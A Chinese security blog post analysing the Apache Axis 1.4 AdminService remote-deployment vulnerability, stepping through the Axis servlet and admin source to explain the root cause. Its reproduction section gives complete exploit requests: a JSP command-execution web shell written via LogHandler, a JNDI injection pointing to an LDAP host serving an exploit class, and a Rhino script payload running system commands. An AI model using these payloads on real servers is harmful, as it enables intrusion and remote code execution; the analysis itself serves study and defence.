Java安全之Axis漏洞分析

nice_0e3發表於2021-11-26

Java安全之Axis漏洞分析

0x00 前言

看到個別程式碼常出現裡面有一些Axis元件,沒去仔細研究過該漏洞。研究記錄一下。

0x01 漏洞復現

漏洞版本:axis=<1.4

Axis1.4

freemarker

下載Axis包1.4版本將Axis放到tomcat的webapp目錄中。freemarker.jar放到Axis的 lib目錄下。執行tomcat即可。

WEB-INF/web.xml 中將該配置取消註釋

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/servlet/AdminServlet</url-pattern>
  </servlet-mapping>

原創復現需要將/WEB-INF下面的server-config.wsdd檔案中的內容進行編輯一下

<service name="AdminService" provider="java:MSG">
  <parameter name="allowedMethods" value="AdminService"/>
  <parameter name="enableRemoteAdmin" value="true"/>
  <parameter name="className" value="org.apache.axis.utils.Admin"/>
  <namespace>http://xml.apache.org/axis/wsdd/</namespace>
 </service>

enableRemoteAdmin的值改成true執行遠端呼叫。

server-config.wsdd檔案會在遠端機器訪問/servlet/AdminServlet路由時候進行建立。

接下來對該介面進行傳送payload測試

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns1:deployment
  xmlns="http://xml.apache.org/axis/wsdd/"
  xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
  xmlns:ns1="http://xml.apache.org/axis/wsdd/">
  <ns1:service name="RandomService" provider="java:RPC">
    <requestFlow>
      <handler type="RandomLog"/>
    </requestFlow>
    <ns1:parameter name="className" value="java.util.Random"/>
    <ns1:parameter name="allowedMethods" value="*"/>
  </ns1:service>
  <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > 
    <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />  
    <parameter name="LogHandler.writeToConsole" value="false" />
  </handler>
</ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

爆了一個ns1:Client.NoSOAPAction錯誤。

看了一下AdminServlet的程式碼,發現dopost方法裡面呼叫的getSoapAction這個判斷邏輯貌似有點問題

上面req.getHeader("SOAPAction");獲取header裡面SOAPAction的值,如果為空則取Content-Type裡面的action。都為空則直接返回,來到下面這段邏輯。

    if (soapAction == null) {
      AxisFault af = new AxisFault("Client.NoSOAPAction", Messages.getMessage("noHeader00", "SOAPAction"), null, null);
      exceptionLog.error(Messages.getMessage("genFault00"), (Throwable)af);
      throw af;
    } 

這裡只需要header加入SOAPAction引數,填充任意值,讓服務端獲取到不為空,能解決了這個問題。

使用上面payload,建立好惡意的service後,下面來呼叫一下惡意的service。

/axis/services/RandomService

payload:

<?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0><![CDATA[
<%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
]]>
            </api:in0>
        </api:main>
  </soapenv:Body>
</soapenv:Envelope>

檔案寫入成功

重新開啟server-config.wsdd檔案發現內容已經發生了變化

payload整理

org.apache.axis.handlers.LogHandler

POST請求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 777

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
  <soap:Body>
    <deployment
      xmlns="http://xml.apache.org/axis/wsdd/"
      xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
        <service name="randomAAA" provider="java:RPC">
<requestFlow>
            <handler type="java:org.apache.axis.handlers.LogHandler" >
                <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />
                <parameter name="LogHandler.writeToConsole" value="false" />
            </handler>
        </requestFlow>
          <parameter name="className" value="java.util.Random" />
          <parameter name="allowedMethods" value="*" />
        </service>
    </deployment>
  </soap:Body>
</soap:Envelope>

GET請求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22randomBBB%22%20provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler%20type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22%20%3E%3Cparameter%20name%3D%22LogHandler.fileName%22%20value%3D%22..%2Fwebapps%2FROOT%2Fshell.jsp%22%20%2F%3E%3Cparameter%20name%3D%22LogHandler.writeToConsole%22%20value%3D%22false%22%20%2F%3E%3C%2Fhandler%3E%3C%2FrequestFlow%3E%3Cparameter%20name%3D%22className%22%20value%3D%22java.util.Random%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%20%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache

呼叫service:

POST /axis/services/randomBBB HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 700

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:util="http://util.java">
   <soapenv:Header/>
   <soapenv:Body>
      <util:ints soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <in0 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance"><![CDATA[
<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); %>
]]></in0>
         <in1 xsi:type="xsd:int" xs:type="type:int" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">?</in1>
      </util:ints>
   </soapenv:Body>
</soapenv:Envelope>

該方式寫檔案需要解析,遇到Springboot就涼涼。

org.apache.axis.client.ServiceFactory

POST請求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept-Language: en-US,en;q=0.5
SOAPAction: something
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Accept-Encoding: gzip, deflate
Content-Length: 750

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soapenv:Body>
    <ns1:deployment xmlns:ns1="http://xml.apache.org/axis/wsdd/" xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
      <ns1:service name="ServiceFactoryService" provider="java:RPC">
        <ns1:parameter name="className" value="org.apache.axis.client.ServiceFactory"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>
    </ns1:deployment>
  </soapenv:Body>
</soapenv:Envelope>

GET請求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache

呼叫service:

POST /axis/services/ServiceFactoryService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 891

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cli="http://client.axis.apache.org">
   <soapenv:Header/>
   <soapenv:Body>
      <cli:getService soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <environment xsi:type="x-:Map" xs:type="type:Map" xmlns:x-="http://xml.apache.org/xml-soap" xmlns:xs="http://www.w3.org/2000/XMLSchema-instance">
            <!--Zero or more repetitions:-->
            <item xsi:type="x-:mapItem" xs:type="type:mapItem">
               <key xsi:type="xsd:anyType">jndiName</key>
               <value xsi:type="xsd:anyType">ldap://xxx.xx.xx.xxx:8888/Exploit</value>
            </item>
         </environment>
      </cli:getService>
   </soapenv:Body>
</soapenv:Envelope>

這個點需要利用JNDI注入

com.sun.script.javascript.RhinoScriptEngine

POST請求:

POST /axis/services/AdminService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 905

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" >
  <soap:Body>
    <deployment
      xmlns="http://xml.apache.org/axis/wsdd/"
      xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">
        <service name="RhinoScriptEngineService" provider="java:RPC">
          <parameter name="className" value="com.sun.script.javascript.RhinoScriptEngine" />
          <parameter name="allowedMethods" value="eval" />
<typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"
                     type="java:javax.script.SimpleScriptContext"
                     qname="ns:SimpleScriptContext"
                     serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
                     xmlns:ns="urn:beanservice" regenerateElement="false">
        </typeMapping>
        </service>
    </deployment>
  </soap:Body>
</soap:Envelope>

GET請求:

GET /axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22RhinoScriptEngineService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22com.sun.script.javascript.RhinoScriptEngine%22%20%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22eval%22%20%2F%3E%3CtypeMapping%20deserializer%3D%22org.apache.axis.encoding.ser.BeanDeserializerFactory%22%20type%3D%22java%3Ajavax.script.SimpleScriptContext%22%20qname%3D%22ns%3ASimpleScriptContext%22%20serializer%3D%22org.apache.axis.encoding.ser.BeanSerializerFactory%22%20xmlns%3Ans%3D%22urn%3Abeanservice%22%20regenerateElement%3D%22false%22%3E%3C%2FtypeMapping%3E%3C%2Fservice%3E%3C%2Fdeployment HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache

呼叫service:

POST /axis/services/RhinoScriptEngineService HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 866

<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:jav="http://javascript.script.sun.com"><soapenv:Body><eval xmlns="http://127.0.0.1:8080/services/scriptEngine"><arg0 xmlns="">
<![CDATA[function test(){    var cmd1 = 'c';    cmd1 += 'm';    cmd1 += 'd';    cmd1 += '.';    cmd1 += 'e';    cmd1 += 'x';    cmd1 += 'e';    var cmd2 = '/';    cmd2 += 'c';    var pb = new java.lang.ProcessBuilder(cmd1,cmd2,'whoami');    var process = pb.start();    var ret = new java.util.Scanner(process.getInputStream()).useDelimiter('\\A').next();    return ret;}   test();]]></arg0><arg1 xmlns="" xsi:type="urn:SimpleScriptContext" xmlns:urn="urn:beanservice">
</arg1></eval></soapenv:Body></soapenv:Envelope>

該方式有JDK版本要求 JDK版本必須要為7或7以下版本。JDK7版本後ScriptEngine被廢除了,使用了NashornScriptEngine進行代替,NashornScriptEngine類不能直接被利用

解析流程分析

Init

  <servlet>
    <servlet-name>AxisServlet</servlet-name>
    <display-name>Apache-Axis Servlet</display-name>
    <servlet-class>
        org.apache.axis.transport.http.AxisServlet
    </servlet-class>
  </servlet>
... 
<servlet-mapping>
    <servlet-name>AxisServlet</servlet-name>
    <url-pattern>/services/*</url-pattern>
  </servlet-mapping>

看到org.apache.axis.transport.http.AxisServlet

public void init() throws ServletException {
        super.init();
        ServletContext context = this.getServletConfig().getServletContext();
        isDebug = log.isDebugEnabled();
        if (isDebug) {
            log.debug("In servlet init");
        }

        this.transportName = this.getOption(context, "transport.name", "http");
        if (JavaUtils.isTrueExplicitly(this.getOption(context, "use-servlet-security", (String)null))) {
            this.securityProvider = new ServletSecurityProvider();
        }

        this.enableList = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.enableListQuery", (String)null));
        this.jwsClassDir = this.getOption(context, "axis.jws.servletClassDir", (String)null);
        this.disableServicesList = JavaUtils.isTrue(this.getOption(context, "axis.disableServiceList", "false"));
        this.servicesPath = this.getOption(context, "axis.servicesPath", "/services/");
        if (this.jwsClassDir != null) {
            if (this.getHomeDir() != null) {
                this.jwsClassDir = this.getHomeDir() + this.jwsClassDir;
            }
        } else {
            this.jwsClassDir = this.getDefaultJWSClassDir();
        }
 //初始化查詢Handler,即wsdl對應的handler,用於wsdl檔案生成    
        this.initQueryStringHandlers();

        try {
            ServiceAdmin.setEngine(this.getEngine(), context.getServerInfo());
        } catch (AxisFault var3) {
            exceptionLog.info("Exception setting AxisEngine on ServiceAdmin " + var3);
        }

    }

把所有以jws結尾或者services路徑的的URL均由AxisServlet進行處理

super.init();

org.apache.axis.transport.http.init

  public void init() throws ServletException {
        ServletContext context = this.getServletConfig().getServletContext();
        this.webInfPath = context.getRealPath("/WEB-INF");
        this.homeDir = context.getRealPath("/");
        isDebug = log.isDebugEnabled();
        if (log.isDebugEnabled()) {
            log.debug("In AxisServletBase init");
        }

        this.isDevelopment = JavaUtils.isTrueExplicitly(this.getOption(context, "axis.development.system", (String)null));
    }

org.apache.axis.transport.http.getOption

 protected String getOption(ServletContext context, String param, String dephault) {
        String value = AxisProperties.getProperty(param);
        if (value == null) {
            value = this.getInitParameter(param);
        }

        if (value == null) {
            value = context.getInitParameter(param);
        }

        try {
            AxisServer engine = getEngine(this);
            if (value == null && engine != null) {
                value = (String)engine.getOption(param);
            }
        } catch (AxisFault var6) {
        }

        return value != null ? value : dephault;
    }

org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
        AxisServer engine = null;
        if (isDebug) {
            log.debug("Enter: getEngine()");
        }

        ServletContext context = servlet.getServletContext();
        synchronized(context) {
            engine = retrieveEngine(servlet);
            if (engine == null) {
                Map environment = getEngineEnvironment(servlet);
                engine = AxisServer.getServer(environment);
                engine.setName(servlet.getServletName());
                storeEngine(servlet, engine);
            }
        }

        if (isDebug) {
            log.debug("Exit: getEngine()");
        }

        return engine;
    }

org.apache.axis.transport.http.getEngineEnvironment

從當前上下文中獲取AxisServer Engine,如果返回為null,則進行初始化並儲存至上下文中

 protected static Map getEngineEnvironment(HttpServlet servlet) {
        Map environment = new HashMap();
        String attdir = servlet.getInitParameter("axis.attachments.Directory");
        if (attdir != null) {
            environment.put("axis.attachments.Directory", attdir);
        }

        ServletContext context = servlet.getServletContext();
        environment.put("servletContext", context);
        String webInfPath = context.getRealPath("/WEB-INF");
        if (webInfPath != null) {
            environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
        }

        EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
        if (config != null) {
            environment.put("engineConfig", config);
        }

        return environment;
    }

這裡返回的是一個org.apache.axis.configuration.EngineConfigurationFactoryServlet工廠例項

呼叫getServerEngineConfig來到org.apache.axis.configuration.getServerEngineConfig,

EngineConfigurationFactoryFinder.newFactory(servlet)返回org.apache.axis.configuration.EngineConfigurationFactoryServlet工廠例項,並通過private static EngineConfiguration getServerEngineConfig(ServletConfig cfg)新建EngineConfiguration實現類:FileProvider物件(即server-config.wsdd的檔案操作類)

程式碼流程回到getEngineEnvironment

protected static Map getEngineEnvironment(HttpServlet servlet) {
    Map environment = new HashMap();
    String attdir = servlet.getInitParameter("axis.attachments.Directory");
    if (attdir != null) {
        environment.put("axis.attachments.Directory", attdir);
    }

    ServletContext context = servlet.getServletContext();
    environment.put("servletContext", context);
    String webInfPath = context.getRealPath("/WEB-INF");
    if (webInfPath != null) {
        environment.put("servlet.realpath", webInfPath + File.separator + "attachments");
    }

    EngineConfiguration config = EngineConfigurationFactoryFinder.newFactory(servlet).getServerEngineConfig();
    if (config != null) {
        environment.put("engineConfig", config);
    }

    return environment;
}

environment.put("engineConfig", config);

把剛剛讀取server-config.wsdd的物件,儲存到map中進行返回。

邏輯走到org.apache.axis.transport.http.getEngine

public static AxisServer getEngine(HttpServlet servlet) throws AxisFault {
    AxisServer engine = null;
    if (isDebug) {
        log.debug("Enter: getEngine()");
    }

    ServletContext context = servlet.getServletContext();
    synchronized(context) {
        engine = retrieveEngine(servlet);
        if (engine == null) {
            Map environment = getEngineEnvironment(servlet);
            engine = AxisServer.getServer(environment);
            engine.setName(servlet.getServletName());
            storeEngine(servlet, engine);
        }
    }

org.apache.axis.server.AxisServer

public static AxisServer AxisServer(Map environment) throws AxisFault {
        if (factory == null) {
            String factoryClassName = AxisProperties.getProperty("axis.ServerFactory");
            if (factoryClassName != null) {
                try {
                    Class factoryClass = ClassUtils.forName(factoryClassName);
                    if ((class$org$apache$axis$server$AxisServerFactory == null ? (class$org$apache$axis$server$AxisServerFactory = class$("org.apache.axis.server.AxisServerFactory")) : class$org$apache$axis$server$AxisServerFactory).isAssignableFrom(factoryClass)) {
                        factory = (AxisServerFactory)factoryClass.newInstance();
                    }
                } catch (Exception var3) {
                    log.error(Messages.getMessage("exception00"), var3);
                }
            }

            if (factory == null) {
                factory = new DefaultAxisServerFactory();
            }
        }

        return factory.getServer(environment);
    }

載入到過載getServer方法

public AxisServer getServer(Map environment) throws AxisFault {
        log.debug("Enter: DefaultAxisServerFactory::getServer");
        AxisServer ret = createServer(environment);
        if (ret != null) {
            if (environment != null) {
                ret.setOptionDefault("attachments.Directory", (String)environment.get("axis.attachments.Directory"));
                ret.setOptionDefault("attachments.Directory", (String)environment.get("servlet.realpath"));
            }

            String attachmentsdir = (String)ret.getOption("attachments.Directory");
            if (attachmentsdir != null) {
                File attdirFile = new File(attachmentsdir);
                if (!attdirFile.isDirectory()) {
                    attdirFile.mkdirs();
                }
            }
        }

        log.debug("Exit: DefaultAxisServerFactory::getServer");
        return ret;
    }
  private static AxisServer createServer(Map environment) {
        EngineConfiguration config = getEngineConfiguration(environment);
        return config == null ? new AxisServer() : new AxisServer(config);
    }
 public AxisServer(EngineConfiguration config) {
        super(config);
        this.running = true;
        this.setShouldSaveConfig(true);
    }

org.apache.axis.AxisEngine

public AxisEngine(EngineConfiguration config) {
    this.config = config;
    this.init();
}

org.apache.axis.AxisEngine

public void init() {
    if (log.isDebugEnabled()) {
        log.debug("Enter: AxisEngine::init");
    }

    try {
        this.config.configureEngine(this);
    } catch (Exception var2) {
        throw new InternalException(var2);
    }

org.apache.axis.configuration.FileProvider

public void configureEngine(AxisEngine engine) throws ConfigurationException {
        try {
            if (this.getInputStream() == null) {
                try {
                    this.setInputStream(new FileInputStream(this.configFile));
                } catch (Exception var3) {
                    if (this.searchClasspath) {
                        this.setInputStream(ClassUtils.getResourceAsStream(engine.getClass(), this.filename, true));
                    }
                }
            }

            if (this.getInputStream() == null) {
                throw new ConfigurationException(Messages.getMessage("noConfigFile"));
            } else {
                WSDDDocument doc = new WSDDDocument(XMLUtils.newDocument(this.getInputStream()));
                //部署或者取消部署,這個得看文件配置
                this.deployment = doc.getDeployment();
                //定義所有資料配置此AxisEngine
                this.deployment.configureEngine(engine);
                //重新整理內容
                engine.refreshGlobalOptions();
                this.setInputStream((InputStream)null);
            }
        } catch (Exception var4) {
            throw new ConfigurationException(var4);
        }
    }

以上這整體解析流程為configureEngine解析server-config.wsdd服務配置。將配置檔案中的各種屬性handlerglobalConfigurationservicetransport快取至WSDDDeployment類中。重新整理global配置選項即將server-config.wsdd配置檔案中globalConfiguration節點中的parameter屬性集合由AxisEngine持有。

以上就已經完成了init的

doGet

看到doGet

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    if (isDebug) {
        log.debug("Enter: doGet()");
    }

    FilterPrintWriter writer = new FilterPrintWriter(response);

    try {
        AxisEngine engine = this.getEngine();
        ServletContext servletContext = this.getServletConfig().getServletContext();
        String pathInfo = request.getPathInfo();
        String realpath = servletContext.getRealPath(request.getServletPath());
        if (realpath == null) {
            realpath = request.getServletPath();
        }

        boolean isJWSPage = request.getRequestURI().endsWith(".jws");
        if (isJWSPage) {
            pathInfo = request.getServletPath();
        }

        if (this.processQuery(request, response, writer)) {
            return;
        }

獲取請求URI中為jws結尾的則呼叫request.getServletPath();

例如/axis/EchoHeaders.jws?wsdl使用pathInfo則等於EchoHeaders.jws

然後下面由processQuery方法來進行解析

上面是一系列的獲取請求路徑,來直接看到下面程式碼,下面程式碼進行了遍歷

到這裡把server-config.wsdd的配置內容都給載入了進來,下面根據查詢條件字串(即wsdl),通過與server-config.wsddtransport節點parameter屬性匹配,查詢對應的handler。

繼續來看解析流程

看到獲取handler的步驟。因為這裡是wsdl的方式去請求,所以這裡獲取到的是QSWSDLHandler類,下面會進行反射去呼叫invoke方法

public void invoke(MessageContext msgContext) throws AxisFault {
    this.configureFromContext(msgContext);
    AxisServer engine = (AxisServer)msgContext.getProperty("transport.http.plugin.engine");
    PrintWriter writer = (PrintWriter)msgContext.getProperty("transport.http.plugin.writer");
    HttpServletResponse response = (HttpServletResponse)msgContext.getProperty(HTTPConstants.MC_HTTP_SERVLETRESPONSE);

    try {
        engine.generateWSDL(msgContext);
        Document wsdlDoc = (Document)msgContext.getProperty("WSDL");
        if (wsdlDoc != null) {
            try {
                this.updateSoapAddressLocationURLs(wsdlDoc, msgContext);
            } catch (RuntimeException var7) {
                this.log.warn("Failed to update soap:address location URL(s) in WSDL.", var7);
            }

            response.setContentType("text/xml; charset=" + XMLUtils.getEncoding().toLowerCase());
            this.reportWSDL(wsdlDoc, writer);
        } else {
            if (this.log.isDebugEnabled()) {
                this.log.debug("processWsdlRequest: failed to create WSDL");
            }

            this.reportNoWSDL(response, writer, "noWSDL02", (AxisFault)null);
        }
    } catch (AxisFault var8) {
        if (!var8.getFaultCode().equals(Constants.QNAME_NO_SERVICE_FAULT_CODE)) {
            throw var8;
        }

        this.processAxisFault(var8);
        response.setStatus(404);
        this.reportNoWSDL(response, writer, "noWSDL01", var8);
    }

}

這裡這一大串程式碼則是建立對應得WSDL並且進行返回的步驟。

將生成wsdl任務交給server-config.wsdd所配置的一系列Handler,其執行順序為
transport【requestFlow】---->globalConfiguration【requestFlow】---->service【requestFlow】---->service【responseFlow】---->globalConfiguration【responseFlow】---->transport【responseFlow】
針對jws的服務通過JWSHandler處理。

再來看到jws的服務處理的Handler

org.apache.axis.handlers.JWSHandler

  public void invoke(MessageContext msgContext) throws AxisFault {
        if (log.isDebugEnabled()) {
            log.debug("Enter: JWSHandler::invoke");
        }

        try {
            this.setupService(msgContext);
        } catch (Exception var3) {
            log.error(Messages.getMessage("exception00"), var3);
            throw AxisFault.makeFault(var3);
        }
    }

以上程式碼主要完成將jws轉換成java檔案,並臨時存放至jwsClasses目錄中,再通過jdk中的編譯器sun.tools.javac.Maincom.sun.tools.javac.main.Main對java檔案進行編譯,將編譯後的class檔案存放至jwsClasses目錄中,刪除臨時java檔案,並將生成的class二進位制檔案載入至類載入器中。
rpc = new SOAPService(new RPCProvider());
增加Handler例項RPCProvider(繼承BasicProvider)到當前handler鏈中

DoPost

來到dopost裡面來看邏輯

前面獲取一些請求路徑和context、Engine等內容,在這裡就不看了

org.apache.axis.server.AxisServer#invoke

if (hName != null && (h = this.getTransport(hName)) != null && h instanceof SimpleTargetedChain) {
                        transportChain = (SimpleTargetedChain)h;
                        h = transportChain.getRequestHandler();
                        if (h != null) {
                            h.invoke(msgContext);
                        }
                    }

hName這個值為http,this.getTransport(hName)server-config.wsdd獲取值

h.invoke(msgContext);

//迴圈訪問呼叫每個處理程式的鏈
public void invoke(MessageContext msgContext) throws AxisFault {
    if (log.isDebugEnabled()) {
        log.debug("Enter: SimpleChain::invoke");
    }

    this.invoked = true;
    this.doVisiting(msgContext, iVisitor);
    if (log.isDebugEnabled()) {
        log.debug("Exit: SimpleChain::invoke");
    }

}

this.doVisiting(msgContext, iVisitor);

org.apache.axis.SimpleChain#doVisiting

 private void doVisiting(MessageContext msgContext, HandlerIterationStrategy visitor) throws AxisFault {
        int i = 0;

        try {
            for(Enumeration enumeration = this.handlers.elements(); enumeration.hasMoreElements(); ++i) {
                Handler h = (Handler)enumeration.nextElement();
                visitor.visit(h, msgContext);
            }

        } catch (AxisFault var6) {
            if (!msgContext.isPropertyTrue(this.CAUGHTFAULT_PROPERTY)) {
                Message respMsg = new Message(var6);
                msgContext.setResponseMessage(respMsg);
                msgContext.setProperty(this.CAUGHTFAULT_PROPERTY, Boolean.TRUE);
            }

visitor.visit(h, msgContext);

遍歷XML內容,呼叫method.invoke

到這裡則完成service的呼叫。

至於這裡為什麼是MsgProvider是因為在server-config.wsdd中的配置

0x02 漏洞分析

漏洞分析

org.apache.axis.utils.Admin#AdminService

public Element[] AdminService(Element[] xml) throws Exception {
    log.debug("Enter: Admin::AdminService");
    MessageContext msgContext = MessageContext.getCurrentContext();
    Document doc = this.process(msgContext, xml[0]);
    Element[] result = new Element[]{doc.getDocumentElement()};
    log.debug("Exit: Admin::AdminService");
    return result;
}

this.process(msgContext, xml[0]);來看這個地方

public Document process(MessageContext msgContext, Element root) throws Exception {
    this.verifyHostAllowed(msgContext);
    String rootNS = root.getNamespaceURI();
    AxisEngine engine = msgContext.getAxisEngine();
    if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) {
        return processWSDD(msgContext, engine, root);
    } else {
        throw new Exception(Messages.getMessage("adminServiceNoWSDD"));
    }
}

this.verifyHostAllowed(msgContext);

private void verifyHostAllowed(MessageContext msgContext) throws AxisFault {
    Handler serviceHandler = msgContext.getService();
    if (serviceHandler != null && !JavaUtils.isTrueExplicitly(serviceHandler.getOption("enableRemoteAdmin"))) {
        String remoteIP = msgContext.getStrProp("remoteaddr");
        if (remoteIP != null && !remoteIP.equals("127.0.0.1") && !remoteIP.equals("0:0:0:0:0:0:0:1")) {
            try {
                InetAddress myAddr = InetAddress.getLocalHost();
                InetAddress remoteAddr = InetAddress.getByName(remoteIP);
                if (log.isDebugEnabled()) {
                    log.debug("Comparing remote caller " + remoteAddr + " to " + myAddr);
                }

                if (!myAddr.equals(remoteAddr)) {
                    log.error(Messages.getMessage("noAdminAccess01", remoteAddr.toString()));
                    throw new AxisFault("Server.Unauthorized", Messages.getMessage("noAdminAccess00"), (String)null, (Element[])null);
                }
            } catch (UnknownHostException var6) {
                throw new AxisFault("Server.UnknownHost", Messages.getMessage("unknownHost00"), (String)null, (Element[])null);
            }
        }
    }

}

上面這個地方獲取了enableRemoteAdmin的值進行判斷這個enableRemoteAdmin是否為True,如果不為Ture,則判斷遠端請求的地址是否為本機訪問。如果都不是則直接丟擲異常。

繼續看到processWSDD(msgContext, engine, root);位置

engine.saveConfiguration();

 public void saveConfiguration() {
        if (this.shouldSaveConfig) {
            try {
                this.config.writeEngineConfig(this);
            } catch (Exception var2) {
                log.error(Messages.getMessage("saveConfigFail00"), var2);
            }

        }
    }

org.apache.axis.configuration.FileProvider#writeEngineConfig

這個地方會將請求過來的xml資料寫入到server-config.wsdd檔案裡面

而根據前面的分析得知,呼叫和配置service等操作都是由這個檔案來進行獲取的配置資訊。那麼接下來的東西就一目瞭然了。

漏洞利用

前面復現漏洞中發現payload打完後server-config.wsdd多了一串配置,往下看

